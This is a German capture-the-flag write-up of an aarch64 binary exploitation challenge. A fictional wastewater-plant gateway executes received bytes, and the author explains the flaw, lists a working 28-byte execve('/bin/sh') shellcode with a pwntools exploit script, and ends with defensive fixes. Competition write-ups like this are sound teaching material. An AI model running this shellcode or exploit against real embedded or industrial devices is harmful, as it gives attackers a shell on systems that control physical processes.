Disclaimer: Im August 2026 fand die Qualifikation für das Finale von Deutschlands Bester Hacker statt, welches ich auf Platz 1 abschließen konnte. Nur zwei Teilnehmer waren in der Lage, alle Challenges zu lösen. Dieses Writeup wurde mit KI auf Basis meiner Notizen erstellt und kann Fehler enthalten, bei Fragen bitte direkt an mich wenden im DBH-Discord.
| Wettbewerb | Deutschlands Bester Hacker 2026 — Qualifikation |
| Kategorie | PwnBinary ExploitationAusnutzung von Speicher- oder Logikfehlern in kompilierten Anwendungen. |
| Punkte | 413 |
| Architektur | ARM aarch64 (ELF 64-bit LSB, dynamisch gelinkt, not stripped) |
| Angriffsklasse | ShellcodeShellcodeKompakter Maschinencode, der nach erfolgreicher Ausnutzung direkt vom Zielprozess ausgeführt wird.-Ausführung (execve("/bin/sh")) in exakt 28 Bytes |
| Verbindung | ncat --ssl <host> <port> (TLSTransport Layer SecuritySchützt Netzwerkverbindungen durch Verschlüsselung, Authentifizierung und Integritätsprüfung.) |
Die Challenge
Bei der Aufarbeitung eines OT-Vorfalls in einer Kläranlage taucht ein unscheinbares Gerät auf: ein Feldbus-Gateway, das offiziell nur Messwerte zwischen SPS und Leitstelle weiterreichen soll. Auf dem Gerät läuft ein Debug-Dienst, der beim letzten Firmware-Update offenbar vergessen wurde zu deaktivieren.
Der Dienst meldet sich mit einem einzigen Satz und wartet dann. Er nimmt entgegen, was man ihm schickt — und führt es sofort aus. Keine Formatprüfung, keine Kommandosprache. Nur Bytes, direkt auf der CPU des Gateways.
Der Flavor-Text ist bereits die halbe Lösung: „Nur Bytes, direkt auf der CPU“ beschreibt wörtlich einen Shellcode-Runner. Das Gateway spielt eine ARM-CPU (aarch64), wie sie in eingebetteten OTOperational TechnologyHardware und Software zur Überwachung oder Steuerung physischer Anlagen, Maschinen und industrieller Prozesse.-Geräten typisch ist.
Aufklärung
Zuerst der Dateityp:
$ file challenge
challenge: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux-aarch64.so.1,
BuildID[...], for GNU/Linux 3.7.0, not stripped
Ein ARM-aarch64-Binary, nicht gestrippt — die Symbole sind erhalten. Die definierten und importierten Funktionen verraten das Programmverhalten schon fast vollständig:
$ nm challenge | grep -E ' (T|U) '
0000000000400744 T main
U mmap@GLIBC_2.17
U read@GLIBC_2.17
U puts@GLIBC_2.17
U setvbuf@GLIBC_2.17
U perror@GLIBC_2.17
mmap + read + ein direkter Aufruf des gelesenen Puffers ist das klassische Rezept für
einen Shellcode-Loader. Der Begrüßungssatz im .rodata ist das bekannte Zitat „The quieter
you become, the more you are able to hear.“ — reiner Flavor, dient als Banner.
Die Schwachstelle
Das Disassembly von main, kommentiert:
; --- mmap(NULL, 0x1000, PROT_READ|WRITE|EXEC, MAP_PRIVATE|ANON, -1, 0) ---
mov x5, #0x0 ; offset = 0
mov w4, #-1 ; fd = -1
mov w3, #0x22 ; flags = MAP_PRIVATE(0x02) | MAP_ANONYMOUS(0x20)
mov w2, #0x7 ; prot = PROT_READ|PROT_WRITE|PROT_EXEC <-- RWX!
mov x1, #0x1000 ; len = 4096
mov x0, #0x0 ; addr = NULL
bl mmap
str x0, [sp, #0x18] ; page-Adresse merken
; --- puts("The quieter you become, ...") ---
add x0, x0, #0x828
bl puts
; --- read(0, page, 0x1c) ---
mov x2, #0x1c ; count = 28 Bytes
ldr x1, [sp, #0x18] ; buf = page
mov w0, #0x0 ; fd = stdin
bl read
; --- Sprung in die Page: unser Input wird ausgeführt ---
ldr x0, [sp, #0x18]
blr x0 ; <-- führt die gelesenen Bytes als Code aus
In Worten:
mmaplegt eine 4 KB große RWX-Page an (prot = 7). Kein NX, keinmprotect-Trick nötig.- Das Banner wird ausgegeben.
read(0, page, 0x1c)liest genau 28 Bytes von stdin in die Page.blr x0springt in die Page — unsere 28 Bytes werden als Maschinencode ausgeführt.
Es gibt keinerlei Prüfung des Inputs. Die einzige Einschränkung: 0x1c = 28 Bytes. Genau
das hebt die Aufgabe von „baby“ auf „easy“.
Der Angriff
Ziel ist eine Shell: execve("/bin/sh", NULL, NULL).
Ein naiver aarch64-execve-Shellcode, der "/bin/sh\0" per movz/movk in ein Register
baut und auf den Stack legt, braucht ~40 Bytes und passt nicht in 28.
Der Trick: den String direkt hinter den Code legen und per PC-relativem adr
adressieren. Dann kostet der String nur seine 8 nackten Bytes, und der Code darüber
schrumpft auf 5 Instruktionen:
_start:
adr x0, sh ; x0 = &"/bin/sh" (PC-relativ)
mov x1, xzr ; argv = NULL
mov x2, xzr ; envp = NULL
mov x8, #221 ; __NR_execve (aarch64-Syscall-Nummer)
svc #0 ; Syscall auslösen
sh:
.ascii "/bin/sh\0"
Die Rechnung geht punktgenau auf:
5 Instruktionen × 4 Bytes = 20 Bytes Code
+ "/bin/sh\0" = 8 Bytes String
------------------------------------------
28 Bytes = 0x1c
Dass das read exakt 28 Bytes liest, ist also kein Zufall — die Challenge ist auf genau
diese Lösung zugeschnitten.
Assemblieren und verifizieren:
$ clang -target aarch64-linux-gnu -nostdlib -c sc.s -o sc.o
$ objdump -d sc.o
0: 100000a0 adr x0, 0x14 <sh>
4: aa1f03e1 mov x1, xzr
8: aa1f03e2 mov x2, xzr
c: d2801ba8 mov x8, #0xdd ; = 221
10: d4000001 svc #0
14: 2f 62 69 6e 2f 73 68 00 ; "/bin/sh"
aarch64-Detail: Die Syscall-Nummer steht in
x8(nichtx0), Argumente inx0..x5, ausgelöst mitsvc #0.execveist Nr. 221. Das unterscheidet sich von x86-64 (rax,syscall, Nr. 59) — ein häufiger Stolperstein.
Der ExploitExploitCode oder Technik, die eine Schwachstelle gezielt ausnutzt., über TLS:
#!/usr/bin/env python3
import sys
from pwn import *
context.arch = "aarch64"
# execve("/bin/sh", NULL, NULL) — exakt 28 Bytes, fest eingebettet
shellcode = bytes.fromhex(
"a0000010" # adr x0, sh
"e1031faa" # mov x1, xzr
"e2031faa" # mov x2, xzr
"a81b80d2" # mov x8, #221 (__NR_execve)
"010000d4" # svc #0
"2f62696e2f736800" # "/bin/sh\0"
)
assert len(shellcode) == 0x1c
host, port = sys.argv[1], int(sys.argv[2])
io = remote(host, port, ssl=True) # entspricht `ncat --ssl host port`
io.recvline() # Banner abholen
io.send(shellcode) # 28 Bytes -> read() -> blr x0
io.sendline(b"cat flag* 2>/dev/null; ls") # Flag greifen
io.interactive()
Die Flag
$ python3 solve.py <host> <port>
[+] Opening connection: Done
[*] Banner: The quieter you become, the more you are able to hear.
[*] Switching to interactive mode
DBH{...}
Was ich mitnehme
Die Challenge modelliert ein reales OT-Sicherheitsproblem. Der „vergessene Debug-Dienst“ ist kein konstruiertes Szenario:
- Vergessene Wartungs- und Debug-Schnittstellen in Firmware sind ein Klassiker bei Feldbus-Gateways, SPSen und RTUs. Sie überleben Updates, weil niemand sie dokumentiert.
- RWX-Speicher plus ungeprüfter Input = Remote Code ExecutionRemote Code ExecutionSchwachstelle oder Angriff, der Code auf einem entfernten Ziel ausführen lässt.. Hier ist es wörtlich ein
read→call. In echter Firmware sieht man dieselbe Klasse subtiler: ein Update-Mechanismus ohne Signaturprüfung, ein Diagnose-Endpunkt ohne Auth. - OT-Netze sind flach. Eine RCE auf einem Gateway zwischen SPSSpeicherprogrammierbare SteuerungIndustrierechner, der Sensorwerte zyklisch einliest und daraus Aktorbefehle für einen Prozess ableitet. und Leitstelle heißt oft: Vollzugriff auf den Prozess — in diesem Fall eine Kläranlage.
| Fundstelle | Fix |
|---|---|
| Debug-Dienst in Produktion aktiv | Build-Flags trennen (Debug vs. Release), Dienst hart entfernen, nicht nur „abschalten“ |
| Ungeprüfter Input wird ausgeführt | Niemals externen Input als Code behandeln; keine read → call-Pfade |
RWX-Speicher (W^X-Verletzung) |
Seiten nie gleichzeitig schreib- und ausführbar mappen |
| Kein Auth am Netzwerk-Dienst | Authentisierung + Netzsegmentierung (OT/IT-Trennung) |